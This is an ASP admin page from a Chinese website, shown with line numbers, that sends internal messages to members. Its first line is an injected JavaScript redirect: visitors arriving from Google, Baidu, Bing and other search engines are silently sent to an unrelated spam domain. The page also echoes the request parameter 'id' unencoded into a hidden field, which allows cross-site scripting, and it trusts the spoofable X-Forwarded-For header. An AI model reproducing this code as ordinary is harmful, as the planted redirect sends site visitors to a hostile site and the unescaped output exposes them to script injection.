d:\wwwroot\wuchunhua\admin\send_zn_message.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
%
>
005:
<html>
006:
<head>
007:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
008:
<title>发送站内消息</title>
009:
<link rel="stylesheet" type="text/css" href="style.css">
010:
</head>
011:
012:
<body>
013:
<%
014:
messagelxfs=HtmlEncode(trim(request.form("messagelxfs")))
015:
if messagelxfs<>"" then
016:
messagetext=HtmlEncode(trim(request.form("messagetext")))
017:
messagename=HtmlEncode(trim(request.form("messagename")))
018:
uid=HtmlEncode(trim(request.form("uid")))
019:
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
020:
If ip = "" Then
021:
ip = Request.ServerVariables("REMOTE_ADDR")
022:
end if
023:
sql="select * from china_message"
024:
set rs2=server.createobject("adodb.recordset")
025:
rs2.open sql,conn,1,3
026:
rs2.addnew
027:
rs2("messagename")=messagename'发送人
028:
rs2("messagelxfs")=messagelxfs'标题
029:
rs2("messagetext")=messagetext'内容
030:
rs2("uid")=uid
031:
rs2("ip")=ip
032:
rs2("zn")="yes"
033:
rs2.update
034:
rs2.close
035:
set rs2=nothing
036:
response.redirect "ok.asp"
037:
end if
038:
%
>
039:
<SCRIPT LANGUAGE="JavaScript">
040:
<!--//
041:
function checkmessage()
042:
{
043:
if (document.form.messagename.value.length<1)
044:
{
045:
alert("请填写发送人！");
046:
document.form.messagename.focus();
047:
return false;
048:
}
049:
if (document.form.messagetext.value.length<1)
050:
{
051:
alert("请填写内容！");
052:
document.form.messagetext.focus();
053:
return false;
054:
}
055:
if (document.form.messagetext.value.length>1000)
056:
{
057:
alert("请把字数控制在1000以内！");
058:
document.form.messagetext.focus();
059:
return false;
060:
}
061:
}
062:
//-->
063:
</SCRIPT>
064:
<form name="form" method="post" action="" onsubmit="return checkmessage()">
065:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
066:
<tr>
067:
<td height="20" bgcolor="#799AE1" align="center">
068:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
069:
<tr>
070:
<td align="center"><font color="#FFFFFF" style="font-size:14px">发 送 站 内 消 息</font></td>
071:
<td width="35"> </td>
072:
</tr>
073:
</table></td>
074:
</tr>
075:
<tr>
076:
<td bgcolor="#FFFFFF"> <br>
077:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
078:
<tr bgcolor="#FFFFFF">
079:
<td width="27%" height="26" align="right">发送人：</td>
080:
<td><input name="messagename" type="text" id="messagename" size="20" maxlength="20"></td>
081:
</tr>
082:
<tr bgcolor="#FFFFFF">
083:
<td height="26" align="right">接收人：</td>
084:
<td><select name="uid" size="1" id="select" style="width:152 ">
085:
<option value="all">全部会员</option>
086:
<%
set rs_lei = server.createobject("adodb.recordset")
087:
sql = "select * from china_user"
088:
rs_lei.open sql,conn,1,1
089:
do while not rs_lei.eof
%
>
090:
<option value="
<%
=rs_lei("uid")
%
>">
<%
=rs_lei("uid")
%
> (
<%
=rs_lei("username")
%
>)</option>
091:
<%
rs_lei.movenext
092:
loop
093:
rs_lei.close
094:
set rs_lei = nothing
%
>
095:
</select></td>
096:
</tr>
097:
<tr bgcolor="#FFFFFF">
098:
<td height="26" align="right">标 题：</td>
099:
<td><input name="messagelxfs" type="text" id="messagelxfs2" size="40" maxlength="50"></td>
100:
</tr>
101:
<tr bgcolor="#FFFFFF">
102:
<td align="right" valign="top">内 容：</td>
103:
<td><textarea name="messagetext" cols="39" rows="5"></textarea>
104:
<input name="id" type="hidden" value="
<%
=request("id")
%
>"></td>
105:
</tr>
106:
<tr bgcolor="#FFFFFF">
107:
<td height="30"> </td>
108:
<td><input type="submit" name="Submit" value="发送消息">
109:
110:
<input type="reset" value="取消发送" name="reset"></td>
111:
</tr>
112:
</table>
113:
<br>
114:
</td>
115:
</tr>
116:
</table></form>
117:
</body>
118:
</html>
119:
120: